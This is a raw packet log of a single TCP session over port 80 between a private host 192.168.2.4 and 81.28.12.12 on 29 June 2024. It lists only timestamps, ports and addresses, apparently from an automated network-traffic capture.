Jun 29, 2024 08:05:17.153986931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154011965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154046059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154064894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154115915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154145002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154170036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154201031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154233932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154248953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154278994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154311895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154345989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154395103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154417992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154473066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154491901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154539108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154572010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154592991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154629946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154663086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154685020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154719114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154752970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154767036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154797077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154828072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154850960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154887915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.154901981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154920101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.154969931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155000925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155025005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155056000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155080080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155111074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155134916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155167103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155200005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155222893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155256033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155289888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155308962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155343056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155375004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155396938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155430079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155462027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155487061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155519962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155543089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155543089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155580044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155600071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155628920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155666113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155685902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155719042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155739069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155777931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155795097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155827999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155848980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155885935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155920029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.155941010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.155972958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156056881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156085968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156111956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156111956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156147003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156188011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156209946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156236887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156267881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156296968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156322002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156354904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156375885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156409979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156436920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156462908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156533003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156549931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156599045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156631947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156655073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156707048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156750917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156785965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156807899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156855106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156888008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156908989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.156930923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156963110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.156996012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157016993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157049894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157071114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157071114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157098055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157126904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157160997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157191992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157215118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157238007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157268047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157288074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157319069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157341003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157368898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157402992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157437086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157457113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157490969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157510042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157541037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157565117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157593966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157620907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.157766104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.157973051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158024073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158060074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158080101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158113003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158153057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158185005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158214092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158257008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158292055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158313036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158349037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158375978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158411980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158427000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158477068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158509970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158543110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158565044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158588886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158618927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158653975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158670902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.158693075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.158934116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.225603104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225640059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225680113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.225701094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225724936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.225773096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225797892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.225847960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225883007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.225903034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225933075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.225958109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.225989103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226035118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.226059914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226093054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226131916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.226150036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226182938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226213932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.226238012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226270914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.226298094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.226298094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.226341963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.229052067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229084969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229129076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.229156017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229188919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229212999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.229212999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.229249954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229281902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.229306936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229394913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.229644060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.229810953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.230204105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230237961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230284929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.230312109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230346918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.230369091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230402946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230439901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.230456114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230488062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230523109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.230542898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.230577946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.230726004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.243874073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.243928909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.243962049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.243988991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244035959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244059086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244092941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244148016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244164944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244210005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244226933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244266987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244301081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244334936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244357109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244379044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244429111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244478941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244479895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244544029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244576931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244610071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244632959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244667053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244687080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244718075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244751930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244771957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244792938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244824886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244858027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244883060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244930983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.244965076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.244987965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245021105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245040894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245074034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245105028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245127916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245162010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245181084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245218039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245242119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245275021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245296955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245328903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245358944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245384932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245419025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245434999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245451927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245472908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245492935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245543003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245562077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245611906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245650053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245668888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245701075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245733023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245733023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245779037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245807886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245841026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245868921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245893002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245929003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.245970964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.245992899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246020079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246051073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246083021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246107101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246155977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246189117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246211052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246243000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246270895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246296883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246342897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246368885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246402025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246434927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246452093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246484995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246520042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246539116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246582031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246596098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246615887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246645927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246680021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246699095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246731043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246767998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246784925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246819019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246846914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246860981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246891975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246925116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.246958017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.246977091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247009039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247045994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247062922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247100115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247117043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247153044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247178078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247193098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247225046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247256994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247292042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247308969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247328997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247359037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247392893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247415066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247448921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247468948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247503042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247523069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247553110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247598886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247626066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247653961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247687101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.247710943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.247754097 CEST	49731	80	192.168.2.4	81.28.12.12
